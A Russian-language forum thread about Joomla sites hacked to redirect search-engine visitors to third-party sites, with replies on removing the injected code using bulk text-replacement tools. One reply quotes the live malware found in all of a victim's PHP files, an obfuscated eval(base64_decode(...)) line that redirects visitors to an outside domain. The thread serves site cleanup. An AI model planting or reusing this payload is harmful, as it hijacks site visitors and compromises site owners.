Joomla!: Сломали сайт, перенаправляя ссылки поисковиков Google, Yandex и др. на сторонний сайт

Больше
6 года 2 мес. назад - 6 года 2 мес. назад #100 от TOLLIFi
TOLLIFi создал эту тему: Joomla!: Сломали сайт, перенаправляя ссылки поисковиков Google, Yandex и др. на
Все ссылки, выданные поисковиками на сайт (CMS Joomla!), перенаправляют Вас на сторонние ресурсы. В чем причина?!

Итак, в один прекрасный день вы обнаруживаете, что все ссылки, выданные разными поисковыми системами, вдруг автоматически перенаправляют Вас на сторонние сайты. Причина сего косяка отнюдь не в поисковиках, а в настройках Вашего сайта на CMS Joomla!... его взломали злые хацкеры.


--- УСТРАНЕНИЕ ПРОБЛЕМЫ >>>

ВНИМАНИЕ: Спойлер! [ Нажмите, чтобы развернуть ]



--- ПРЕДОТВРАЩЕНИЕ ПОСЛЕДСТВИЙ >>>

ВНИМАНИЕ: Спойлер! [ Нажмите, чтобы развернуть ]



--- СПОСОБЫ ЗАЩИТЫ >>>

ВНИМАНИЕ: Спойлер! [ Нажмите, чтобы развернуть ]


Полезные ссылки по теме:

www.shadowxak.ru/articles/defending-your-joomla.html
joomlaforum.ru/index.php?PHPSESSID=49b20.../topic,195980.0.html
groups.google.com/a/googleproductforums....SLkjrPE/3jw8vn79eBkJ

IT и Телеком: IP-телефония, интернет-технологии, программирование, web-сервисы.
Последнее редактирование: 6 года 2 мес. назад от TOLLIFi.

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
5 года 7 мес. назад #119 от mikl1603
mikl1603 ответил в теме Re: Joomla!: Сломали сайт, перенаправляя ссылки поисковиков Google, Yandex и др.
Спасибо большое за статью. А то я даже и не знал откуда эта дрянь взялась. Но у меня получилось немного посерьёзнее. У меня з ВСЕ файлы .php заражены вот таим кодом: eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9iZXN0cnUyLm9uZWR1bWIuY29tLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ=="));
Вы не подскажите как можно не в ручную удалить из всех файлов эту дрянь? Спасибо.

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
5 года 7 мес. назад #120 от TOLLIFi
TOLLIFi ответил в теме Re: Joomla!: Сломали сайт, перенаправляя ссылки поисковиков Google, Yandex и др.
Сам так не делал, ну, наверное, можно попробовать, если вариантов нету:

"...Удаление внедренного кода вручную-это совсем не трудно,когда я могу сжать весь сайт,загрузить его на свой компьютер,и использовать TextCrawler для поиска и замены и сжать файлы в ZIP файл снова, загрузить его на веб-сайт и извлечь..."

источник: kompkimi.ru/?p=34462 . Отпишите о результатах, если найдете более "красивый" способ ;)

IT и Телеком: IP-телефония, интернет-технологии, программирование, web-сервисы.

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
5 года 7 мес. назад #121 от mikl1603
mikl1603 ответил в теме Re: Joomla!: Сломали сайт, перенаправляя ссылки поисковиков Google, Yandex и др.
В принципе так и сделал, но использовал программу Text_Replacer. Обалденная штука. 30 сек и нет проблемм

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Работает на Kunena форум